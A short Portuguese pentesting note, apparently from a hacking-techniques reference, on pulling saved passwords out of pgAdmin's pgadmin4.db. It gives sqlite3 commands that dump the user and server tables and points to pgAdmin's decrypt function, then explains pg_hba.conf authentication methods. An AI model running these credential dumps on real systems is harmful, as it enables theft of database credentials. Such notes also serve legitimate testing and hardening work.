[pgadmin](https://www.pgadmin.org) é uma plataforma de administração e desenvolvimento para o PostgreSQL.\ Você pode encontrar **senhas** dentro do arquivo _**pgadmin4.db**_\ Você pode descriptografá-las usando a função _**decrypt**_ dentro do script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" sqlite3 pgadmin4.db "select * from server;" string pgadmin4.db ``` ### pg\_hba A autenticação do cliente no PostgreSQL é gerenciada por meio de um arquivo de configuração chamado **pg_hba.conf**. Este arquivo contém uma série de registros, cada um especificando um tipo de conexão, intervalo de endereços IP do cliente (se aplicável), nome do banco de dados, nome de usuário e o método de autenticação a ser usado para conexões correspondentes. O primeiro registro que corresponde ao tipo de conexão, endereço do cliente, banco de dados solicitado e nome de usuário é usado para autenticação. Não há fallback ou backup se a autenticação falhar. Se nenhum registro corresponder, o acesso é negado. Os métodos de autenticação baseados em senha disponíveis no pg_hba.conf são **md5**, **crypt** e **password**. Esses métodos diferem na forma como a senha é transmitida: MD5-hashed, criptografada com crypt ou texto simples. É importante observar que o método crypt não pode ser usado com senhas que foram criptografadas em pg_authid.